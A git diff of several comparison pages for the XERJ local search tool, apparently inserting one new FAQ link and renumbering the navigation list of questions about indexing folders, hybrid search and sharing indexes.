<a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-ast-grep.html b/landing/compare/xerj-vs-ast-grep.htmlindex e7b1539bb..37bf049a3 100644--- a/landing/compare/xerj-vs-ast-grep.html+++ b/landing/compare/xerj-vs-ast-grep.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-docfetcher.html b/landing/compare/xerj-vs-docfetcher.htmlindex c48c5e455..ce6c2e6e3 100644--- a/landing/compare/xerj-vs-docfetcher.html+++ b/landing/compare/xerj-vs-docfetcher.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-elasticsearch-local.html b/landing/compare/xerj-vs-elasticsearch-local.htmlindex 7c708e2bb..76464f7d1 100644--- a/landing/compare/xerj-vs-elasticsearch-local.html+++ b/landing/compare/xerj-vs-elasticsearch-local.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span 